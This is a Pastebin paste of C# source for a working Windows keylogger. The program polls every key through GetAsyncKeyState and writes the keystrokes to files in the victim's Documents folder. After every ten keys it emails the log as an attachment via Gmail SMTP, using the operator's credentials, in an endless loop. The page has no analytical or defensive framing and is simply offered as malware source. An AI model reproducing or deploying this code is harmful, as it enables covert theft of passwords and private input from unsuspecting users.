Guest User

Untitled

a guest
Apr 2nd, 2016
38
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.10 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Runtime.InteropServices;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.IO;
  10. using System.Net;
  11. using System.Net.Mail;
  12. namespace Keylogs
  13. {
  14. class Program
  15. {
  16.  
  17. [DllImport("user32.dll")]
  18. public static extern int GetAsyncKeyState(Int32 i);
  19. static void Main(string[] args)
  20.  
  21. {
  22. kek:
  23. Start();
  24. sendMail();
  25. Start2();
  26. sendMail2();
  27. Start3();
  28. sendMail3();
  29. goto kek;
  30. }
  31. static void Start()
  32. {
  33. int Counter = 0;
  34.  
  35. {
  36. while (Counter != 10)
  37. {
  38. Thread.Sleep(10);
  39. for (Int32 i = 0; i < 255; i++)
  40. {
  41. int keyState = GetAsyncKeyState(i);
  42. if (keyState == 1 || keyState == -32767)
  43. {
  44. Console.WriteLine((Keys)i);
  45. Counter++;
  46. string toStringKeys = Convert.ToString((Keys)i);
  47. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  48. break;
  49. }
  50.  
  51.  
  52. }
  53.  
  54. }
  55. }
  56. }
  57. static void sendMail()
  58. {
  59. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  60. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
  61.  
  62. gmailUser = ""; //put your gmail email.
  63. gmailPass = ""; //Put your gmail pass
  64. toEmail = gmailUser;
  65. fromEmail = gmailUser;
  66. subject = "Keylogs";
  67. body = "Here it is!";
  68.  
  69. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  70. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  71.  
  72. smtp.EnableSsl = true;
  73. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  74.  
  75. Attachment attach = new Attachment(keylogs);
  76. message.Attachments.Add(attach);
  77.  
  78. smtp.Send(message);
  79. return;
  80. }
  81. static void Start2()
  82. {
  83. int Counter = 0;
  84.  
  85. {
  86. while (Counter != 10)
  87. {
  88. Thread.Sleep(10);
  89. for (Int32 i = 0; i < 255; i++)
  90. {
  91. int keyState = GetAsyncKeyState(i);
  92. if (keyState == 1 || keyState == -32767)
  93. {
  94. Console.WriteLine((Keys)i);
  95. Counter++;
  96. string toStringKeys = Convert.ToString((Keys)i);
  97. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs1.txt", Environment.NewLine + toStringKeys);
  98. break;
  99. }
  100.  
  101.  
  102. }
  103.  
  104. }
  105. }
  106. }
  107. static void sendMail2()
  108. {
  109.  
  110. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  111. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs1.txt";
  112.  
  113. gmailUser = ""; //put your gmail email.
  114. gmailPass = ""; //Put your gmail pass
  115. toEmail = gmailUser;
  116. fromEmail = gmailUser;
  117. subject = "Keylogs";
  118. body = "Here it is!";
  119.  
  120. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  121. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  122.  
  123. smtp.EnableSsl = true;
  124. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  125.  
  126. Attachment attach = new Attachment(keylogs);
  127. message.Attachments.Add(attach);
  128.  
  129. smtp.Send(message);
  130. return;
  131. }
  132. static void Start3()
  133. {
  134. int Counter = 0;
  135.  
  136. {
  137. while (Counter != 10)
  138. {
  139. Thread.Sleep(10);
  140. for (Int32 i = 0; i < 255; i++)
  141. {
  142. int keyState = GetAsyncKeyState(i);
  143. if (keyState == 1 || keyState == -32767)
  144. {
  145. Console.WriteLine((Keys)i);
  146. Counter++;
  147. string toStringKeys = Convert.ToString((Keys)i);
  148. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs2.txt", Environment.NewLine + toStringKeys);
  149. break;
  150. }
  151.  
  152.  
  153. }
  154.  
  155. }
  156. }
  157. }
  158. static void sendMail3()
  159. {
  160. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  161. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs2.txt";
  162.  
  163. gmailUser = ""; //put your gmail email.
  164. gmailPass = ""; //Put your gmail pass
  165. toEmail = gmailUser;
  166. fromEmail = gmailUser;
  167. subject = "Keylogs";
  168. body = "Here it is!";
  169.  
  170. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  171. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  172.  
  173. smtp.EnableSsl = true;
  174. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  175.  
  176. Attachment attach = new Attachment(keylogs);
  177. message.Attachments.Add(attach);
  178.  
  179. smtp.Send(message);
  180. return;
  181. }
  182.  
  183.  
  184. }
  185. }
Add Comment
Please, Sign In to add comment